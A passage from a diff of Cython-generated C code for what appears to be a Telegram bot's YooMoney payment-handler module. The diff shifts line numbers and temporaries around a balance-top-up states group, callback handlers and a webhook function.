__pyx_n_s_YOOMONEY_ENABLE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely((__pyx_t_4 < 0))) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_4) { - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 31, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_debug); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_YOOMONEY_ID); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 31, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_debug); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 31, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Account_ID, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 31, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 31, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_YOOMONEY_ID); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_2, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Account_ID, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_3 = PyTuple_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 34, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); - __Pyx_GIVEREF(__pyx_t_5); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_5)) __PYX_ERR(0, 34, __pyx_L1_error); - __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PEP560_update_bases(__pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 34, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_5); - __pyx_t_2 = __Pyx_CalculateMetaclass(NULL, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 34, __pyx_L1_error) + __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_6 = __Pyx_Py3MetaclassPrepare(__pyx_t_2, __pyx_t_5, __pyx_n_s_ReplenishBalanceState, __pyx_n_s_ReplenishBalanceState, (PyObject *) NULL, __pyx_n_s_handlers_payments_yoomoney_pay, (PyObject *) NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GIVEREF(__pyx_t_5); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_5)) __PYX_ERR(0, 36, __pyx_L1_error); + __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PEP560_update_bases(__pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 36, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = __Pyx_CalculateMetaclass(NULL, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 36, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = __Pyx_Py3MetaclassPrepare(__pyx_t_3, __pyx_t_5, __pyx_n_s_ReplenishBalanceState, __pyx_n_s_ReplenishBalanceState, (PyObject *) NULL, __pyx_n_s_handlers_payments_yoomoney_pay, (PyObject *) NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - if (__pyx_t_5 != __pyx_t_3) { - if (unlikely((PyDict_SetItemString(__pyx_t_6, "__orig_bases__", __pyx_t_3) < 0))) __PYX_ERR(0, 34, __pyx_L1_error) + if (__pyx_t_5 != __pyx_t_2) { + if (unlikely((PyDict_SetItemString(__pyx_t_6, "__orig_bases__", __pyx_t_2) < 0))) __PYX_ERR(0, 36, __pyx_L1_error) } - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - - __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 35, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_7); - __pyx_t_8 = NULL; - __pyx_t_9 = 0; - #if CYTHON_UNPACK_METHODS - if (unlikely(PyMethod_Check(__pyx_t_7))) { - __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); - if (likely(__pyx_t_8)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); - __Pyx_INCREF(__pyx_t_8); - __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_7, function); - __pyx_t_9 = 1; - } - } - #endif - { - PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; - __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); - __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 35, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); - __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - } - if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_choosing_amount_yoomoney, __pyx_t_3) < 0) __PYX_ERR(0, 35, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - - __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 36, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_7); - __pyx_t_8 = NULL; - __pyx_t_9 = 0; - #if CYTHON_UNPACK_METHODS - if (unlikely(PyMethod_Check(__pyx_t_7))) { - __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); - if (likely(__pyx_t_8)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); - __Pyx_INCREF(__pyx_t_8); - __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_7, function); - __pyx_t_9 = 1; - } - } - #endif - { - PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; - __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); - __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 36, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); - __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - } - if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_waiting_for_payment_confirmation, __pyx_t_3) < 0) __PYX_ERR(0, 36, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 37, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); @@ -9608,158 +9599,212 @@ if (!__Pyx_RefNanny) { #endif { PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; - __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 37, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } - if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_entering_custom_amount_yoomoney, __pyx_t_3) < 0) __PYX_ERR(0, 37, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_choosing_amount_yoomoney, __pyx_t_2) < 0) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_3 = __Pyx_Py3ClassCreate(__pyx_t_2, __pyx_n_s_ReplenishBalanceState, __pyx_t_5, __pyx_t_6, NULL, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_waiting_for_payment_confirmation, __pyx_t_2) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 39, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 39, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_entering_custom_amount_yoomoney, __pyx_t_2) < 0) __PYX_ERR(0, 39, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + __pyx_t_2 = __Pyx_Py3ClassCreate(__pyx_t_3, __pyx_n_s_ReplenishBalanceState, __pyx_t_5, __pyx_t_6, NULL, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 36, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReplenishBalanceState, __pyx_t_2) < 0) __PYX_ERR(0, 36, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReplenishBalanceState, __pyx_t_3) < 0) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_F); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = PyObject_RichCompare(__pyx_t_6, __pyx_n_u_pay_yoomoney, Py_EQ); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 42, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 42, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 42, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yoomoney_pay_1process_callback_pay_yoomoney, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_callback_pay_yoomoney, NULL, __pyx_n_s_handlers_payments_yoomoney_pay, __pyx_d, ((PyObject *)__pyx_codeobj_)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_callback_pay_yoomoney, __pyx_t_5) < 0) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_F); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_startswith); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__17, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 40, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_5); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 40, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_F); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 40, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_5); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 40, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = PyObject_RichCompare(__pyx_t_6, __pyx_n_u_pay_yoomoney, Py_EQ); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 40, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 106, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 106, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yoomoney_pay_4process_amount_selection, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_amount_selection, NULL, __pyx_n_s_handlers_payments_yoomoney_pay, __pyx_d, ((PyObject *)__pyx_codeobj__3)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_6); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 40, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_6); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 40, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_5); - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 40, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 40, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 40, __pyx_L1_error) - __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yoomoney_pay_1process_callback_pay_yoomoney, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_callback_pay_yoomoney, NULL, __pyx_n_s_handlers_payments_yoomoney_pay, __pyx_d, ((PyObject *)__pyx_codeobj_)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 40, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_5); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 40, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_callback_pay_yoomoney, __pyx_t_5) < 0) __PYX_ERR(0, 40, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 104, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_5); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 104, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_F); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 104, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_5); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 104, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_startswith); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 104, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__23, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 104, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_6); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 104, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 104, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 104, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 104, __pyx_L1_error) - __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yoomoney_pay_4process_amount_selection, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_amount_selection, NULL, __pyx_n_s_handlers_payments_yoomoney_pay, __pyx_d, ((PyObject *)__pyx_codeobj__5)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 104, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_2); - __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_6); - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 104, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_6); - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_amount_selection, __pyx_t_6) < 0) __PYX_ERR(0, 104, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_amount_selection, __pyx_t_6) < 0) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 143, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 145, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_request, __pyx_kp_s_web_Request) < 0) __PYX_ERR(0, 143, __pyx_L1_error) - __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yoomoney_pay_7yoomoney_webhook, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_yoomoney_webhook, NULL, __pyx_n_s_handlers_payments_yoomoney_pay, __pyx_d, ((PyObject 